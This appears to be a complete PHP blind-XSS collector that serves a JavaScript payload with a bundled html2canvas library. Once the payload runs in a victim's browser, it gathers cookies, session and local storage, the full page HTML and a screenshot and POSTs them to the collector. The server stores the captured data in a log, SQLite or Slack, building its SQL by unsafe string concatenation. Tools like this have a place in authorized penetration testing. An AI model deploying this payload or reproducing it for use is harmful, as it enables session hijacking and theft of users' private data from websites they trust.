<?php

ini_set('display_errors', 0 );
ini_set('display_startup_errors', 0 );
error_reporting( 0 );


$_config = [
    'image_path' => 'images/', // relative please!
    'report' => [
        'file' => [
            'enabled' => false,
            'path' => 'xss.log',
        ],
        'mail' => [ // not implemented yet
            'enabled' => false,
            'to' => '',
        ],
        'sqlite' => [
            'enabled' => false,
            'path' => 'xss.db',

        ],
        'slack' => [
            'enabled' => false,
            'webhook_url' => '',
        ],
    ],
];


class Reporting
{
    public static function getClientIp()
    {
        if( isset($_SERVER['HTTP_X_FORWARDED_FOR']) ) {
            return filter_var( $_SERVER['HTTP_X_FORWARDED_FOR'], FILTER_VALIDATE_IP );
        }

        if( isset($_SERVER['HTTP_CLIENT_IP']) ) {
            return filter_var( $_SERVER['HTTP_CLIENT_IP'], FILTER_VALIDATE_IP );
        }

        return filter_var( $_SERVER['REMOTE_ADDR'], FILTER_VALIDATE_IP );
    }

    public static function report_file( $config, $t_datas ) {
        $log = str_repeat('-',10).' '.$t_datas['date'].' '.str_repeat('-',50)."\n\n";
        unset( $t_datas['id'] );
        unset( $t_datas['date'] );
        foreach( $t_datas as $k=>$v ) {
            $log .= strtoupper( $k ).":\n";
            $log .= $v."\n\n";
        }
        file_put_contents( $config['path'], $log, FILE_APPEND | LOCK_EX );
    }
    public static function report_mail( $config, $t_datas ) {
        // todo
    }
    public static function report_sqlite( $config, $t_datas ) {
        $db = new SQLite3( $config['path'] );
        $q = 'SELECT COUNT(*) FROM bxss';
        $result = @$db->query( $q );

        if( $result === false ) {
            $db->exec( 'CREATE TABLE bxss (id STRING PRIMARY KEY, created_at DATETIME, datas TEXT)' );
            $db->query( $q );
        }

        $db->query( "INSERT INTO bxss (id, created_at, datas) VALUES('".$t_datas['id']."', '".$t_datas['date']."', '".base64_encode(json_encode($t_datas))."')" );
    }
    public static function report_slack( $config, $t_datas ) {
        $log = '*'.str_repeat('-',10).' '.$t_datas['date'].' '.str_repeat('-',50)."*\n\n";
        if( isset($t_datas['screenshot']) ) {
            $screenshot = $t_datas['screenshot'];
            unset($t_datas['screenshot']);
        }
        if( isset($t_datas['document_html']) ) {
            $document_html = $t_datas['document_html'];
            unset( $t_datas['document_html'] );
            $document_save = $t_datas['document_save'];
            unset( $t_datas['document_save'] );
        }
        unset( $t_datas['id'] );
        unset( $t_datas['date'] );
        foreach( $t_datas as $k=>$v ) {
            $log .= strtoupper( $k )."\n";
            $log .= '```'.$v."```\n\n";
        }
        $t_json = [];
        $t_json['text'] = $log;
        $t_json['attachments'] = [];
        if( isset($screenshot) ) {
            $attachment = [];
            $attachment['pretext'] = 'SCREENSHOT';
            $attachment['title'] = $attachment['title_link'] = $attachment['image_url'] = $screenshot;
            $t_json['attachments'][] = $attachment;
        }
        if( isset($document_html) ) {
            $attachment = [];
            $attachment['title'] = $attachment['title_link'] = $document_save;
            $attachment['pretext'] = 'HTML_DOCUMENT';
            $attachment['text'] = $document_html;
            $t_json['attachments'][] = $attachment;
        }
        $c = curl_init();
        curl_setopt( $c, CURLOPT_URL, $config['webhook_url'] );
        curl_setopt( $c, CURLOPT_POST, true );
        curl_setopt( $c, CURLOPT_HTTPHEADER, ['Content-type: application/json'] );
        curl_setopt( $c, CURLOPT_POSTFIELDS, json_encode($t_json) );
        curl_setopt( $c, CURLOPT_RETURNTRANSFER, true );
        curl_exec( $c );
    }
    public static function save_html( $path, $id, $content ) {
        $path_abs = dirname($_SERVER['SCRIPT_FILENAME']).'/'.trim($path,'/');
        if( !is_dir($path_abs) ) {
            if( !mkdir($path_abs,0777,true) ) {
                return '';
            }
        }
        $file = $id.'.html';
        $path_abs = $path_abs.'/'.$file;
        if( file_put_contents($path_abs,$content) !== false ) {
            $url = $_SERVER['REQUEST_SCHEME'].'://'.$_SERVER['SERVER_NAME'].rtrim(dirname($_SERVER['SCRIPT_NAME']),'/').'/'.trim($path,'/').'/'.$file;
            return $url;
        } else {
            return '';
        }
    }
    public static function save_screenshot( $path, $id, $content ) {
        $path_abs = dirname($_SERVER['SCRIPT_FILENAME']).'/'.trim($path,'/');
        if( !is_dir($path_abs) ) {
            if( !mkdir($path_abs,0777,true) ) {
                return '';
            }
        }
        $file = $id.'.png';
        $path_abs = $path_abs.'/'.$file;
        $content = base64_decode( substr( $content, strlen('data:image/png;base64,') ) );
        if( file_put_contents($path_abs,$content) !== false ) {
            $url = $_SERVER['REQUEST_SCHEME'].'://'.$_SERVER['SERVER_NAME'].rtrim(dirname($_SERVER['SCRIPT_NAME']),'/').'/'.trim($path,'/').'/'.$file;
            return $url;
        } else {
            return '';
        }
    }
}

if( isset($_POST['datas']) )
{
    // handling datas
    $input = file_get_contents('php://input');
    $input = substr( $input, strpos($input,'=')+1 );
    $t_datas = json_decode( $input, true );
    $t_datas['client_ip'] = Reporting::getClientIp();
    $id = $t_datas['id'] = md5( uniqid(true) );
    $date = $t_datas['date'] = date( 'Y-m-d H:i:s' );

    if( isset($t_datas['document_html']) && strlen($t_datas['document_html']) ) {
        $t_datas['document_save'] = Reporting::save_html( $_config['image_path'], $id, $t_datas['document_html'] );
        $t_datas['document_html'] = substr( $t_datas['document_html'], 0, 5000 );
    } else {
        unset( $t_datas['document_html'] );
    }

    if( isset($t_datas['screenshot']) && strlen($t_datas['screenshot']) ) {
        $t_datas['screenshot'] = Reporting::save_screenshot( $_config['image_path'], $id, $t_datas['screenshot'] );
    } else {
        unset( $t_datas['screenshot'] );
    }

    // reporting
    foreach( $_config['report'] as $method=>$config ) {
        $function = 'report_'.$method;
        if( method_exists('Reporting',$function) && isset($config['enabled']) && $config['enabled'] ) {
            Reporting::$function( $config, $t_datas );
        }
    }

    exit();
}

header('Content-Type: application/javascript');

?>

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r=this.range||(this.range=t.ownerDocument.createRange());return r.setStart(t,e),r.setEnd(t,e+n),r.getBoundingClientRect()},P.prototype.parse=function(t){var e=t.contexts.filter(H),n=t.children.filter(te),r=n.filter(Z(J)),i=r.filter(Z($)).filter(Z(z)),o=n.filter(Z($)).filter(J),s=r.filter(Z($)).filter(z),a=t.contexts.concat(r.filter($)).filter(V),c=t.children.filter(ee).filter(X),h=t.contexts.filter(j);e.concat(i).concat(o).concat(s).concat(a).concat(c).concat(h).forEach(function(t){this.renderQueue.push(t),Y(t)&&(this.parse(t),this.renderQueue.push(new N))},this)},P.prototype.paint=function(t){try{t instanceof N?this.renderer.ctx.restore():ee(t)?this.paintText(t):this.paintNode(t)}catch(e){E(e)}},P.prototype.paintNode=function(t){Y(t)&&(this.renderer.setOpacity(t.opacity),this.renderer.ctx.save(),t.hasTransform()&&this.renderer.setTransform(t.parseTransform()));var e=t.parseBounds(),n=this.parseBorders(t);switch(this.renderer.clip(n.clip,function(){this.renderer.renderBackground(t,e,n.borders.map(se))},this),this.renderer.renderBorders(n.borders),t.node.nodeName){case"svg":var r=this.images.get(t.node);r?this.renderer.renderImage(t,e,n,r):E("Error loading <svg>",t.node);break;case"IMG":var i=this.images.get(t.node.src);i?this.renderer.renderImage(t,e,n,i):E("Error loading <img>",t.node.src);break;case"SELECT":case"INPUT":case"TEXTAREA":this.paintFormValue(t)}},P.prototype.paintFormValue=function(t){if(t.getValue().length>0){var e=t.node.ownerDocument,n=e.createElement("html2canvaswrapper"),r=["lineHeight","textAlign","fontFamily","fontWeight","fontSize","color","paddingLeft","paddingTop","paddingRight","paddingBottom","width","height","borderLeftStyle","borderTopStyle","borderLeftWidth","borderTopWidth","boxSizing","whiteSpace","wordWrap"];
r.forEach(function(e){try{n.style[e]=t.css(e)}catch(r){E("html2canvas: Parse: Exception caught in renderFormValue: "+r.message)}});var i=t.parseBounds();n.style.position="absolute",n.style.left=i.left+"px",n.style.top=i.top+"px",n.textContent=t.getValue(),e.body.appendChild(n),this.paintText(new ye(n.firstChild,t)),e.body.removeChild(n)}},P.prototype.paintText=function(t){t.applyTextTransform();var e=t.node.data.split(!this.options.letterRendering||G(t)?/(\b| )/:""),n=t.parent.fontWeight(),r=t.parent.css("fontSize"),i=t.parent.css("fontFamily"),o=t.parent.parseTextShadows();this.renderer.font(t.parent.css("color"),t.parent.css("fontStyle"),t.parent.css("fontVariant"),n,r,i),o.length?this.renderer.fontShadow(o[0].color,o[0].offsetX,o[0].offsetY,o[0].blur):this.renderer.clearShadow(),e.map(this.parseTextBounds(t),this).forEach(function(n,o){n&&(this.renderer.text(e[o],n.left,n.bottom),this.renderTextDecoration(t.parent,n,this.fontMetrics.getMetrics(i,r)))},this)},P.prototype.renderTextDecoration=function(t,e,n){switch(t.css("textDecoration").split(" ")[0]){case"underline":this.renderer.rectangle(e.left,Math.round(e.top+n.baseline+n.lineWidth),e.width,1,t.css("color"));break;case"overline":this.renderer.rectangle(e.left,Math.round(e.top),e.width,1,t.css("color"));break;case"line-through":this.renderer.rectangle(e.left,Math.ceil(e.top+n.middle+n.lineWidth),e.width,1,t.css("color"))}},P.prototype.parseBorders=function(t){var e=t.bounds,n=U(t),r=["Top","Right","Bottom","Left"].map(function(e){return{width:t.cssInt("border"+e+"Width"),color:t.css("border"+e+"Color"),args:null}}),i=D(e,n,r);return{clip:this.parseBackgroundClip(t,i,r,n,e),borders:r.map(function(t,o){if(t.width>0){var s=e.left,a=e.top,c=e.width,h=e.height-r[2].width;switch(o){case 0:h=r[0].width,t.args=F({c1:[s,a],c2:[s+c,a],c3:[s+c-r[1].width,a+h],c4:[s+r[3].width,a+h]},n[0],n[1],i.topLeftOuter,i.topLeftInner,i.topRightOuter,i.topRightInner);break;case 1:s=e.left+e.width-r[1].width,c=r[1].width,t.args=F({c1:[s+c,a],c2:[s+c,a+h+r[2].width],c3:[s,a+h],c4:[s,a+r[0].width]},n[1],n[2],i.topRightOuter,i.topRightInner,i.bottomRightOuter,i.bottomRightInner);break;case 2:a=a+e.height-r[2].width,h=r[2].width,t.args=F({c1:[s+c,a+h],c2:[s,a+h],c3:[s+r[3].width,a],c4:[s+c-r[3].width,a]},n[2],n[3],i.bottomRightOuter,i.bottomRightInner,i.bottomLeftOuter,i.bottomLeftInner);break;case 3:c=r[3].width,t.args=F({c1:[s,a+h+r[2].width],c2:[s,a],c3:[s+c,a+r[0].width],c4:[s+c,a+h]},n[3],n[0],i.bottomLeftOuter,i.bottomLeftInner,i.topLeftOuter,i.topLeftInner)}}return t})}},P.prototype.parseBackgroundClip=function(t,e,n,r,i){var o=t.css("backgroundClip"),s=[];switch(o){case"content-box":case"padding-box":W(s,r[0],r[1],e.topLeftInner,e.topRightInner,i.left+n[3].width,i.top+n[0].width),W(s,r[1],r[2],e.topRightInner,e.bottomRightInner,i.left+i.width-n[1].width,i.top+n[0].width),W(s,r[2],r[3],e.bottomRightInner,e.bottomLeftInner,i.left+i.width-n[1].width,i.top+i.height-n[2].width),W(s,r[3],r[0],e.bottomLeftInner,e.topLeftInner,i.left+n[3].width,i.top+i.height-n[2].width);break;default:W(s,r[0],r[1],e.topLeftOuter,e.topRightOuter,i.left,i.top),W(s,r[1],r[2],e.topRightOuter,e.bottomRightOuter,i.left+i.width,i.top),W(s,r[2],r[3],e.bottomRightOuter,e.bottomLeftOuter,i.left+i.width,i.top+i.height),W(s,r[3],r[0],e.bottomLeftOuter,e.topLeftOuter,i.left,i.top+i.height)}return s},P.prototype.pseudoHideClass="___html2canvas___pseudoelement";var Te=0;pe.prototype.renderImage=function(t,e,n,r){var i=t.cssInt("paddingLeft"),o=t.cssInt("paddingTop"),s=t.cssInt("paddingRight"),a=t.cssInt("paddingBottom"),c=n.borders,h=e.width-(c[1].width+c[3].width+i+s),u=e.height-(c[0].width+c[2].width+o+a);this.drawImage(r,0,0,r.image.width||h,r.image.height||u,e.left+i+c[3].width,e.top+o+c[0].width,h,u)},pe.prototype.renderBackground=function(t,e,n){e.height>0&&e.width>0&&(this.renderBackgroundColor(t,e),this.renderBackgroundImage(t,e,n))},pe.prototype.renderBackgroundColor=function(t,e){var n=t.css("backgroundColor");this.isTransparent(n)||this.rectangle(e.left,e.top,e.width,e.height,t.css("backgroundColor"))},pe.prototype.renderBorders=function(t){t.forEach(this.renderBorder,this)},pe.prototype.renderBorder=function(t){this.isTransparent(t.color)||null===t.args||this.drawShape(t.args,t.color)},pe.prototype.renderBackgroundImage=function(t,e,n){var r=t.parseBackgroundImages();r.reverse().forEach(function(r,i,o){switch(r.method){case"url":var s=this.images.get(r.args[0]);s?this.renderBackgroundRepeating(t,e,s,o.length-(i+1),n):E("Error loading background-image",r.args[0]);break;case"linear-gradient":case"gradient":var a=this.images.get(r.value);a?this.renderBackgroundGradient(a,e,n):E("Error loading background-image",r.args[0]);break;case"none":break;default:E("Unknown background-image type",r.args[0])}},this)},pe.prototype.renderBackgroundRepeating=function(t,e,n,r,i){var o=t.parseBackgroundSize(e,n.image,r),s=t.parseBackgroundPosition(e,n.image,r,o),a=t.parseBackgroundRepeat(r);switch(a){case"repeat-x":case"repeat no-repeat":this.backgroundRepeatShape(n,s,o,e,e.left+i[3],e.top+s.top+i[0],99999,n.image.height,i);break;case"repeat-y":case"no-repeat repeat":this.backgroundRepeatShape(n,s,o,e,e.left+s.left+i[3],e.top+i[0],n.image.width,99999,i);break;case"no-repeat":this.backgroundRepeatShape(n,s,o,e,e.left+s.left+i[3],e.top+s.top+i[0],n.image.width,n.image.height,i);break;default:this.renderBackgroundRepeat(n,s,o,{top:e.top,left:e.left},i[3],i[0])}},pe.prototype.isTransparent=function(t){return!t||"transparent"===t||"rgba(0, 0, 0, 0)"===t},le.prototype=Object.create(T.prototype),le.prototype.getParentStack=function(t){var e=this.parent?this.parent.stack:null;return e?e.ownStacking?e:e.getParentStack(t):t.stack},de.prototype.testRangeBounds=function(t){var e,n,r,i,o=!1;return t.createRange&&(e=t.createRange(),e.getBoundingClientRect&&(n=t.createElement("boundtest"),n.style.height="123px",n.style.display="block",t.body.appendChild(n),e.selectNode(n),r=e.getBoundingClientRect(),i=r.height,123===i&&(o=!0),t.body.removeChild(n))),o},de.prototype.testCORS=function(){return"undefined"!=typeof(new Image).crossOrigin},de.prototype.testSVG=function(){var t=new Image,n=e.createElement("canvas"),r=n.getContext("2d");t.src="data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg'></svg>";try{r.drawImage(t,0,0),n.toDataURL()}catch(i){return!1}return!0},fe.prototype.hasFabric=function(){return html2canvas.fabric?Promise.resolve():Promise.reject(new Error("html2canvas.svg.js is not loaded, cannot render svg"))},fe.prototype.inlineFormatting=function(t){return/^data:image\/svg\+xml;base64,/.test(t)?this.decode64(this.removeContentType(t)):this.removeContentType(t)},fe.prototype.removeContentType=function(t){return t.replace(/^data:image\/svg\+xml(;base64)?,/,"")},fe.prototype.isInline=function(t){return/^data:image\/svg\+xml/i.test(t)},fe.prototype.createCanvas=function(t){var e=this;return function(n,r){var i=new html2canvas.fabric.StaticCanvas("c");e.image=i.lowerCanvasEl,i.setWidth(r.width).setHeight(r.height).add(html2canvas.fabric.util.groupSVGElements(n,r)).renderAll(),t(i.lowerCanvasEl)}},fe.prototype.decode64=function(e){return"function"==typeof t.atob?t.atob(e):ge(e)},me.prototype=Object.create(fe.prototype),ye.prototype=Object.create(T.prototype),ye.prototype.applyTextTransform=function(){this.node.data=this.transform(this.parent.css("textTransform"))},ye.prototype.transform=function(t){var e=this.node.data;switch(t){case"lowercase":return e.toLowerCase();case"capitalize":return e.replace(/(^|\s|:|-|\(|\))([a-z])/g,ve);case"uppercase":return e.toUpperCase();default:return e}},we.prototype=Object.create(f.prototype),xe.prototype=Object.create(pe.prototype),xe.prototype.setFillStyle=function(t){return this.ctx.fillStyle=t,this.ctx},xe.prototype.rectangle=function(t,e,n,r,i){this.setFillStyle(i).fillRect(t,e,n,r)},xe.prototype.drawShape=function(t,e){this.shape(t),this.setFillStyle(e).fill()},xe.prototype.taints=function(t){if(null===t.tainted){this.taintCtx.drawImage(t.image,0,0);try{this.taintCtx.getImageData(0,0,1,1),t.tainted=!1}catch(n){this.taintCtx=e.createElement("canvas").getContext("2d"),t.tainted=!0}}return t.tainted},xe.prototype.drawImage=function(t,e,n,r,i,o,s,a,c){(!this.taints(t)||this.options.allowTaint)&&this.ctx.drawImage(t.image,e,n,r,i,o,s,a,c)},xe.prototype.clip=function(t,e,n){this.ctx.save(),this.shape(t).clip(),e.call(n),this.ctx.restore()},xe.prototype.shape=function(t){return this.ctx.beginPath(),t.forEach(function(t,e){this.ctx[0===e?"moveTo":t[0]+"To"].apply(this.ctx,t.slice(1))},this),this.ctx.closePath(),this.ctx},xe.prototype.font=function(t,e,n,r,i,o){this.setFillStyle(t).font=[e,n,r,i,o].join(" ")},xe.prototype.fontShadow=function(t,e,n,r){this.setVariable("shadowColor",t).setVariable("shadowOffsetY",e).setVariable("shadowOffsetX",n).setVariable("shadowBlur",r)},xe.prototype.clearShadow=function(){this.setVariable("shadowColor","rgba(0,0,0,0)")},xe.prototype.setOpacity=function(t){this.ctx.globalAlpha=t},xe.prototype.setTransform=function(t){this.ctx.translate(t.origin[0],t.origin[1]),this.ctx.transform.apply(this.ctx,t.matrix),this.ctx.translate(-t.origin[0],-t.origin[1])},xe.prototype.setVariable=function(t,e){return this.variables[t]!==e&&(this.variables[t]=this.ctx[t]=e),this},xe.prototype.text=function(t,e,n){this.ctx.fillText(t,e,n)},xe.prototype.backgroundRepeatShape=function(t,e,n,r,i,o,s,a,c){var h=[["line",Math.round(i),Math.round(o)],["line",Math.round(i+s),Math.round(o)],["line",Math.round(i+s),Math.round(a+o)],["line",Math.round(i),Math.round(a+o)]];this.clip(h,function(){this.renderBackgroundRepeat(t,e,n,r,c[3],c[0])},this)},xe.prototype.renderBackgroundRepeat=function(t,e,n,r,i,o){var s=Math.round(r.left+e.left+i),a=Math.round(r.top+e.top+o);this.setFillStyle(this.ctx.createPattern(this.resizeImage(t,n),"repeat")),this.ctx.translate(s,a),this.ctx.fill(),this.ctx.translate(-s,-a)},xe.prototype.renderBackgroundGradient=function(t,e){if(t instanceof x){var n=this.ctx.createLinearGradient(e.left+e.width*t.x0,e.top+e.height*t.y0,e.left+e.width*t.x1,e.top+e.height*t.y1);t.colorStops.forEach(function(t){n.addColorStop(t.stop,t.color)}),this.rectangle(e.left,e.top,e.width,e.height,n)}},xe.prototype.resizeImage=function(t,n){var r=t.image;if(r.width===n.width&&r.height===n.height)return r;var i,o=e.createElement("canvas");return o.width=n.width,o.height=n.height,i=o.getContext("2d"),i.drawImage(r,0,0,r.width,r.height,0,0,n.width,n.height),o}}(window,document);

function collectDatas()
{
    window.setTimeout( doCollectDatas, 2000 );
}

function doCollectDatas()
{
    var callback = '<?php echo "//" . $_SERVER["SERVER_NAME"] . $_SERVER["REQUEST_URI"] ?>';

    var t_datas = new Object();
    t_datas['origin']          = document.location.origin;
    t_datas['user_agent']      = navigator.userAgent;
    t_datas['target_url']      = document.URL;
    t_datas['referrer_url']    = document.referrer;
    t_datas['cookies']         = document.cookie;
    t_datas['session_storage'] = JSON.stringify(sessionStorage);
    t_datas['local_storage']   = JSON.stringify(localStorage);
    t_datas['document_html']   = document.documentElement.outerHTML;

    try {
        html2canvas(document.body).then(function(canvas) {
            t_datas['screenshot'] = canvas.toDataURL();
            sendDatas( callback, t_datas );
        }, function() {
            t_datas['screenshot'] = '';
            sendDatas( callback, t_datas );
        });
    } catch( e ) {
        t_datas['screenshot'] = '';
        sendDatas( callback, t_datas );
    }
}

function sendDatas( callback, t_datas )
{
    var xhr = new XMLHttpRequest();
    xhr.open( 'POST', callback, true );
    xhr.setRequestHeader( 'Content-type', 'application/x-www-form-urlencoded' );
    xhr.send( 'datas=' + JSON.stringify(t_datas) );
}

if( document.readyState == 'complete' ) {
    collectDatas();
} else {
    if( window.addEventListener ) {
        window.addEventListener( 'load', collectDatas(), false );
    } else if( window.attachEvent ) {
        window.attachEvent( 'onload', collecDatas() );
    }
}
